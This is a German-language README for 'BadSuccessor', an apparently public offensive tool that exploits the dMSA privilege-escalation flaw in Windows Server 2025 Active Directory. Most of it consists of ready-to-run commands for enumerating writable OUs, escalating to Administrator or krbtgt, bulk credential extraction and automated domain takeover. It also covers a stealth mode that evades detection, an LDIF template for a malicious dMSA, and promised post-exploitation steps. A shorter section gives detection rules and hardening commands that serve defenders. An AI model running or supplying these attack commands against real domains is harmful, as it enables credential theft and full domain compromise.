
Nutzt die Schwachstelle zur dMSA-Privilegieneskalation in Windows Server 2025 aus, um beschreibbare OUs aufzulisten, zu beliebigen Domänenbenutzern zu eskalieren, Anmeldeinformationen zu extrahieren und die Domänenübernahme in autorisierten AD-Sicherheitsbewertungen zu ermöglichen.
Ein Penetrationstest-Tool, das die dMSA-Schwachstelle (delegated Managed Service Account) zur Privilegienerweiterung in Windows Server 2025 Active Directory-Umgebungen ausnutzt.
Dieses Tool ist ausschließlich für autorisierte Penetrationstests und Sicherheitsforschungszwecke bestimmt. Die Verwendung dieses Tools gegen Systeme ohne ausdrückliche schriftliche Genehmigung ist illegal und unethisch. Die Autoren übernehmen keine Verantwortung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
WICHTIG: Dieses Tool befindet sich in aktiver Entwicklung und Testung.
Wir ermutigen die Sicherheitscommunity dazu:
Durch die Nutzung dieses Tools erkennen Sie an, dass es sich in aktiver Entwicklung befindet und möglicherweise Änderungen für Ihre spezifische Umgebung erfordert.
BadSuccessor nutzt eine Privilegienerweiterungs-Schwachstelle in der Funktion "delegated Managed Service Account" (dMSA) von Windows Server 2025 aus. Die Schwachstelle erlaubt Angreifern mit minimalen Berechtigungen, Privilegien auf jeden Benutzer in der Domäne auszuweiten, einschließlich Domänenadministratoren.
Dieses Tool basiert auf der hervorragenden Forschung von Yuval Gordon von Akamai Technologies:
Die Schwachstelle besteht im dMSA-Migrationsprozess, bei dem:
msDS-ManagedAccountPrecededByLink oder ms-DS-Managed-Account-Preceded-By-Link so setzt, dass es auf einen Zielbenutzer zeigtmsDS-DelegatedMSAState oder ms-DS-Delegated-MSA-State auf 2 setzt (Migration abgeschlossen)Zusätzlich enthält die Struktur KERB-DMSA-KEY-PACKAGE die Passwortschlüssel des Zielbenutzers, was die Extraktion von Anmeldedaten ermöglicht.
pip3 install ldap3 pyasn1 pycryptodome pip3 install impacket==0.12.0
**Hinweis**: Das Tool wurde mit impacket 0.12.0 getestet. Zur Laufzeit werden Kompatibilitätswarnungen angezeigt.
### Optionale Abhängigkeiten```bash
# For DNS discovery
pip3 install dnspython
# For enhanced Kerberos support (system packages)
# Ubuntu/Debian
sudo apt-get install libkrb5-dev libgssapi-krb5-2
# RHEL/CentOS/Fedora
sudo yum install krb5-devel
CreateChild-BerechtigungWrite-BerechtigungGenericWrite-BerechtigungGenericAll-Berechtigunggit clone https://github.com/cybrly/badsuccessor.git cd badsuccessor pip3 install -r requirements.txt chmod +x badsuccessor.py
### requirements.txt```
ldap3>=2.9.1
pyasn1>=0.4.8
pycryptodome>=3.15.0
impacket==0.12.0
dnspython>=2.1.0
python3 badsuccessor.py -d -u -p [options]
### Schnellstart-Beispiele
#### 1. Trockenlaufmodus (NEU) - Testen ohne Änderungen vorzunehmen```bash
# Simulate attack to verify viability
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Dry run with specific OU
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator --ou-dn "OU=ServiceAccounts,DC=corp,DC=local"
python3 badsuccessor.py -d corp.local -u john -p Password123 --check-schema
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-targets
python3 badsuccessor.py -d corp.local -u john -p Password123 --validate-target Administrator
#### 3. Angriff durchführen```bash
# Basic attack against Administrator
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
# Stealth mode with innocuous naming
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator --stealth --random-delay 30
# Attack with custom dMSA attributes
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target krbtgt \
--dmsa-name legit_service --dmsa-description "Legitimate Service Account" \
--dmsa-display-name "Production Service"
# Attack with custom naming pattern
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator \
--dmsa-pattern "svc{random}prod"
python3 badsuccessor.py -d corp.local -u john -p Password123 --extract-creds --targets Administrator,krbtgt,svc_sql
python3 badsuccessor.py -d corp.local -u john -p Password123 --auto-pwn
#### 5. Sitzungsverwaltung (NEW)```bash
# List all sessions
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
# Resume a previous session
python3 badsuccessor.py -d corp.local -u john -p Password123 --session-id corp.local_john_1234567890_abcd1234
# Clean up all dMSAs from a session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-session SESSION_ID
# Clean up all dMSAs from current session
python3 badsuccessor.py -d corp.local -u john -p Password123 --cleanup-all
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-json results.json
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-csv writable_ous.csv
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --export-html report.html
python3 badsuccessor.py -d corp.local -u john -p Password123 --attack --target Administrator
--export-json attack_results.json --export-html attack_report.html
### Kommandozeilenoptionen
#### Authentifizierungsargumente
| Option | Beschreibung |
|--------|-------------|
| `-d, --domain` | Ziel-Domain (z. B. corp.local) **[ERFORDERLICH]** |
| `-u, --username` | Benutzername für die Authentifizierung **[ERFORDERLICH]** |
| `-p, --password` | Passwort für die Authentifizierung |
| `--dc-ip` | Domain-Controller-IP (automatische Erkennung, falls nicht angegeben) |
| `--ldaps` | LDAPS-Verbindung (SSL) auf Port 636 erzwingen |
#### Angriffsmodi
| Option | Beschreibung |
|--------|-------------|
| `--attack` | BadSuccessor-Angriff ausführen |
| `--dry-run` | **NEU**: Angriff simulieren, ohne Änderungen vorzunehmen |
| `--extract-creds` | Anmeldedaten mithilfe des Key-Pakets extrahieren |
| `--auto-pwn` | Vollautomatisierte Domain-Übernahme |
#### Zielangabe
| Option | Beschreibung |
|--------|-------------|
| `--target` | Zielbenutzer, auf den Berechtigungen erweitert werden sollen |
| `--targets` | Kommaseparierte Liste von Benutzern für die Anmeldedatenextraktion |
| `--validate-target` | **NEU**: Zielkonto validieren, ohne anzugreifen |
#### dMSA-Konfiguration
| Option | Beschreibung |
|--------|-------------|
| `--dmsa-name` | Name für die schädliche dMSA (automatisch generiert, falls nicht angegeben) |
| `--dmsa-pattern` | **NEU**: Muster für die dMSA-Benennung (z. B. "svc{random}{target}") |
| `--ou-dn` | Zu verwendende OU-DN (automatische Erkennung, falls nicht angegeben) |
| `--dmsa-description` | **NEU**: Beschreibung für die erstellte dMSA |
| `--dmsa-display-name` | **NEU**: Anzeigename für die erstellte dMSA |
#### Enumeration-Optionen
| Option | Beschreibung |
|--------|-------------|
| `--enumerate` | OUs mit beliebigen Schreibberechtigungen aufzählen |
| `--list-targets` | Hochwertige Ziele auflisten |
| `--check-schema` | Windows-Server-2025-Schema überprüfen |
#### Sitzungsverwaltung (NEU)
| Option | Beschreibung |
|--------|-------------|
| `--session-id` | Vorhandene Sitzung fortsetzen |
| `--list-sessions` | Alle verfügbaren Sitzungen auflisten |
| `--cleanup-session SESSION_ID` | Alle dMSAs aus einer Sitzung bereinigen |
#### Bereinigungsoptionen
| Option | Beschreibung |
|--------|-------------|
| `--cleanup` | Erstellte dMSA entfernen |
| `--dmsa-dn` | dMSA-DN für Bereinigungsvorgänge |
| `--cleanup-all` | **NEU**: Alle dMSAs aus der aktuellen Sitzung bereinigen |
#### Ausgabeoptionen
| Option | Beschreibung |
|--------|-------------|
| `--export-json FILE` | **NEU**: Ergebnisse in JSON-Datei exportieren |
| `--export-csv FILE` | **NEU**: Ergebnisse in CSV-Datei exportieren |
| `--export-html FILE` | **NEU**: HTML-Bericht erstellen |
| `--no-banner` | Bannerausgabe unterdrücken |
| `--verbose` | Ausführliche Ausgabe aktivieren |
#### Stealth-Optionen (NEU)
| Option | Beschreibung |
|--------|-------------|
| `--stealth` | Stealth-Modus aktivieren (harmlose Benennung) |
| `--random-delay SECONDS` | Zufällige Verzögerung zwischen Vorgängen (0-N Sekunden) |
## 🔧 Angriffsablauf
### Phase 1: Aufklärung
1. **Schema-Überprüfung**: Bestätigt die dMSA-Unterstützung von Windows Server 2025 mit dynamischer Attributerkennung
2. **Berechtigungserkennung**: Identifiziert OUs mit beliebigem Schreibzugriff (nicht nur CreateChild)
3. **Zielvalidierung**: **NEU** - Umfassende Analyse des Zielkontos vor dem Angriff
### Phase 2: Ausnutzung
1. **Trockenlauf-Option**: **NEU** - Angriffsdurchführbarkeit testen, ohne Änderungen vorzunehmen
2. **dMSA-Erstellung**: Erstellt eine schädliche dMSA mit anpassbaren Attributen
3. **Attributmanipulation**: Setzt den Predecessor-Link und den Migrationsstatus mit Schema-Bewusstsein
4. **Sitzungsverfolgung**: **NEU** - Alle erstellten Objekte werden für eine einfache Bereinigung verfolgt
### Phase 3: Authentifizierung
1. **Kerberos-TGT-Anfrage**: Erhält ein TGT mit geerbten Berechtigungen
2. **PAC-Analyse**: Überprüft geerbte Gruppenmitgliedschaften
3. **Key-Paket-Extraktion**: Verbessertes Parsing mit mehreren Fallback-Methoden
### Phase 4: Post-Exploitation
Das Tool bietet gebrauchsfertige Befehle für:
- DCSync-Angriffe (alle Domain-Hashes auslesen)
- Remote-Befehlsausführung
- Lateral Movement
- Einrichtung von Persistenz
## 🔐 Produktionsreife Funktionen (v3.0.0)
### Dynamische Schemaerkennung (NEU)
- Erkennt automatisch, welche Attribut-Benennungskonvention Ihre Umgebung verwendet
- Unterstützt alle bekannten Variationen der dMSA-Attribute
- Fallback-Mechanismen für verschiedene Windows-Server-2025-Builds
### Erweiterte Zielvalidierung (NEU)
- Validierung von Zielkonten vor dem Angriff
- Erkennt deaktivierte, gesperrte oder abgelaufene Konten
- Warnt vor Smartcard-Anforderungen und Delegierungsbeschränkungen
- Gibt Empfehlungen basierend auf den Eigenschaften des Zielkontos
### Sitzungsverwaltung (NEU)
- Dauerhafte Sitzungsverfolgung über Vorgänge hinweg
- Unterbrochene Angriffe fortsetzen
- Massenbereinigung aller erstellten dMSAs
- Sitzungsdateien werden sicher mit 0700-Berechtigungen gespeichert
### Trockenlauf-Modus (NEU)
- Testet die Durchführbarkeit des Angriffs, ohne Änderungen vorzunehmen
- Validiert Schema, Berechtigungen und Ziel
- Meldet genau, was während eines echten Angriffs geschehen würde
- Ideal für Aufklärung und Planung
### Stealth-Funktionen (NEU)
- Harmlose dMSA-Benennungsmuster, die sich unauffällig einfügen
- Zufällige Verzögerungen zwischen Vorgängen
- Anpassbare dMSA-Attribute (Beschreibung, Anzeigename)
- Musterbasierte Benennung mit Variablen
### Professionelle Ausgabeformate (NEU)
- JSON-Export zur Integration mit anderen Tools
- CSV-Export für die Analyse in Tabellenkalkulationen
- HTML-Berichte mit formatierter Ausgabe
- Strukturierte Daten für alle Vorgänge
### Fehlerbehandlung auf Unternehmensniveau
- Umfassende Fehlermeldungen mit umsetzbaren Lösungen
- Geordnete Fallbacks für alle Vorgänge
- Detaillierte Protokollierung mit Zeitstempel und Schweregrad
- Ausführlicher Modus für die Fehlerbehebung
### Vollständige Implementierung
- Alle Funktionen vollständig implementiert (kein Platzhaltercode)
- Produktionsgetestete Codestruktur
- Modulares Design mit spezialisierten Klassen
- Volle Kompatibilität mit verschiedenen AD-Konfigurationen
## 🛡️ Erkennung
### Zu überwachende Ereignis-IDs
| Ereignis-ID | Quelle | Beschreibung |
|----------|--------|-------------|
| **5137** | Sicherheit | Erstellung eines Verzeichnisdienstobjekts (dMSA) |
| **5136** | Sicherheit | Änderung eines Verzeichnisdienstobjekts |
| **2946** | Verzeichnisdienst | Authentifizierung des Group Managed Service Account |
| **4768** | Sicherheit | Kerberos-TGT angefordert |
| **4769** | Sicherheit | Kerberos-Dienstticket angefordert |
### Erkennungsregeln```
# Splunk Query Example
index=windows EventCode=5137
| where ObjectClass="msDS-DelegatedManagedServiceAccount" OR ObjectClass="ms-DS-Delegated-Managed-Service-Account"
| where NOT user IN ("approved_admins")
# Sigma Rule Example
detection:
selection:
EventID: 5136
AttributeLDAPDisplayName:
- 'msDS-ManagedAccountPrecededByLink'
- 'ms-DS-Managed-Account-Preceded-By-Link'
condition: selection
Berechtigungen für OUs einschränken ```powershell
Remove-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" -User "Domain Users" -AccessRights CreateChild,Write,GenericWrite,GenericAll
Get-ADPermission -Identity "OU=ServiceAccounts,DC=corp,DC=local" | Where-Object {$_.IdentityReference -match "Authenticated Users|Everyone"}
dMSA-Operationen überwachen ```powershell
Set-ADObject -Identity "CN=Schema,CN=Configuration,DC=corp,DC=local" -Add @{ 'msDS-ReplAttributeMetaData' = @('msDS-ManagedAccountPrecededByLink', 'ms-DS-Managed-Account-Preceded-By-Link') }
Erkennung implementieren
Basierend auf Akamais Forschung:
dn: CN=evil_dmsa,OU=ServiceAccounts,DC=corp,DC=local objectClass: top objectClass: msDS-GroupManagedServiceAccount objectClass: msDS-DelegatedManagedServiceAccount sAMAccountName: evil_dmsa$ userAccountControl: 4096
msDS-ManagedAccountPrecededByLink: CN=Administrator,CN=Users,DC=corp,DC=local
ms-DS-Managed-Account-Preceded-By-Link: CN=Administrator,CN=Users,DC=corp,DC=local msDS-DelegatedMSAState: 2 msDS-SupportedEncryptionTypes: 28
### Key Package Structure
Das KERB-DMSA-KEY-PACKAGE enthält:
- Aktuelle Schlüssel: Verschlüsselungsschlüssel der dMSA
- Vorherige Schlüssel: Verschlüsselungsschlüssel des Zielbenutzers (einschließlich NTLM-Hash)
- Ermöglicht die direkte Extraktion von Anmeldedaten ohne Passwort-Cracking
## 🤝 Mitwirken
Beiträge sind willkommen! Bitte:
1. Forke das Repository
2. Erstelle einen Feature-Branch (`git checkout -b feature/enhancement`)
3. Commite Änderungen (`git commit -m 'Add new feature'`)
4. Pushe zum Branch (`git push origin feature/enhancement`)
5. Reiche einen Pull Request ein
### Entwicklungsrichtlinien
- Befolge den PEP-8-Style-Guide
- Füge Unit-Tests für neue Funktionen hinzu
- Aktualisiere die Dokumentation
- Teste mit mehreren AD-Umgebungen
- Teste mit verschiedenen Namenskonventionen für Schema-Attribute
- Stelle sicher, dass alle Funktionen produktionsreif sind (keine Platzhalter)
## 📝 Changelog
### v2.3.0 (2025-05-28) - Produktionsreifes Release
- **NEU**: Trockenlauf-Modus für sichere Angriffssimulation
- **NEU**: Umfassende Sitzungsverwaltung mit Zustandspersistenz
- **NEU**: Validierung von Zielkonten mit detaillierter Analyse
- **NEU**: Exportfunktionen (JSON, CSV, HTML)
- **NEU**: Stealth-Modus mit unauffälligen Namensmustern
- **NEU**: Anpassbare dMSA-Attribute (Beschreibung, Anzeigename)
- **NEU**: Musterbasierte dMSA-Benennung mit Variablen
- **NEU**: Unterstützung zufälliger Verzögerungen für Stealth-Operationen
- **NEU**: Dynamische Erkennung von Schema-Attributen
- **NEU**: Erweitertes Parsen von Schlüsselpaketen mit Fallbacks
- **NEU**: Bulk-Bereinigungsoperationen
- **NEU**: Professionelle Fehlerbehandlung und Protokollierung
- **VERBESSERT**: Vollständige modulare Architektur
- **VERBESSERT**: Versionsprüfung für Abhängigkeiten
- **BEHOBEN**: Sämtlicher Platzhaltercode durch vollständige Implementierungen ersetzt
### v2.2.0 (2025-05-27) - Kompatibilitätsupdate
- **BEHOBEN**: Importprobleme mit impacket behoben (seq_decode-Abhängigkeit entfernt)
- **BEHOBEN**: Kompatibel mit impacket 0.12.0
- **FUNKTION**: Unterstützung für beide Namenskonventionen für dMSA-Attribute hinzugefügt
- **VERBESSERT**: Bessere Fehlerbehandlung bei Importfehlern
- **VERBESSERT**: Robustere Schema-Erkennung
### v2.1.0 (2025-05-25) - Vollständige Implementierung
- **WICHTIG**: Erweiterte ACL-Berechtigungsprüfung – erkennt jetzt ALLE Schreibberechtigungen
- **WICHTIG**: Unterstützung für Standardgruppen hinzugefügt (Authenticated Users, Everyone, usw.)
- **BEHOBEN**: Sämtlichen Platzhaltercode entfernt
- **BEHOBEN**: Vollständige Implementierung aller Funktionen
- **VERBESSERT**: Bessere Fehlerbehandlung und aussagekräftige Ausgabe
- **VERBESSERT**: Umfassendere OU-Aufzählung (einschließlich Container)
- **FUNKTION**: Zeigt genaue Berechtigungen für jede gefundene OU an
- **FUNKTION**: Erkennt geschützte Benutzer und Delegierungseinschränkungen
### v2.0.0 (2025-05-24) - Erweiterte Edition
- **Wichtig**: Vollständige Implementierung der Kerberos-Authentifizierung
- **Wichtig**: Extraktion von KERB-DMSA-KEY-PACKAGE zum Diebstahl von Anmeldedaten
- **Wichtig**: Grundlegende ACL-Berechtigungsprüfung
- **Wichtig**: Schema-Verifizierung für Windows Server 2025
- **Funktion**: Modus zur Massenextraktion von Anmeldedaten
- **Funktion**: Auto-pwn für automatische Domain-Übernahme
- **Funktion**: Erweiterte Ziel-Aufzählung
- **Funktion**: Generierung von Post-Exploitation-Befehlen
- **Verbesserung**: Bessere Fehlerbehandlung und Protokollierung
- **Verbesserung**: Produktionsreife Codestruktur
## 📚 Referenzen
- [Originale Akamai-Forschung](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
- [GitHub Issue #1 – Erweiterte Berechtigungsprüfung](https://github.com/cybrly/badsuccessor/issues/1)
- [GitHub Issue #2 – Benennung von Schema-Attributen](https://github.com/cybrly/badsuccessor/issues/2)
- [Microsoft Security Response Center](https://msrc.microsoft.com/)
## 🐛 Bekannte Probleme
- Einige Umgebungen verwenden möglicherweise andere Namenskonventionen für Attribute (durch dynamische Erkennung abgedeckt)
- Hash-Authentifizierung erfordert ein Passwort für die erste Implementierung
- Einige Umgebungen erfordern möglicherweise eine manuelle Kerberos-Konfiguration
- Erkennungsregeln müssen je Umgebung angepasst werden
## 🔍 Fehlerbehebung
### Importfehler
Wenn du Importfehler mit impacket feststellst:```bash
# Ensure you have the correct version
pip3 uninstall impacket
pip3 install impacket==0.12.0
# Check version
python3 -c "import impacket; print(impacket.__version__)"
Das Tool enthält jetzt eine dynamische Schema-Erkennung. Falls dies weiterhin fehlschlägt:```powershell
Get-ADObject -Filter {name -like "delegated" -or name -like "preceded"} -SearchBase "CN=Schema,CN=Configuration,DC=corp,DC=local" | Select Name
### Berechtigungsfehler
Verwenden Sie den neuen dry-run-Modus zum Testen:```bash
# Test without making changes
python3 badsuccessor.py -d corp.local -u john -p Password123 --dry-run --target Administrator
# Check your exact permissions
python3 badsuccessor.py -d corp.local -u john -p Password123 --enumerate --verbose
python3 badsuccessor.py -d corp.local -u john -p Password123 --list-sessions
rm -rf /tmp/.badsuccessor_sessions/
## 📧 Kontakt
Bei Fragen, Problemen oder verantwortungsvoller Offenlegung:
- Ein GitHub-Issue eröffnen
- Praktiken verantwortungsvoller Offenlegung befolgen
- 90 Tage für die Patch-Entwicklung einplanen
---
**⚡ Denk dran: Mit großer Macht kommt große Verantwortung. Hol dir immer die richtige Autorisierung, bevor du testest!** 🔐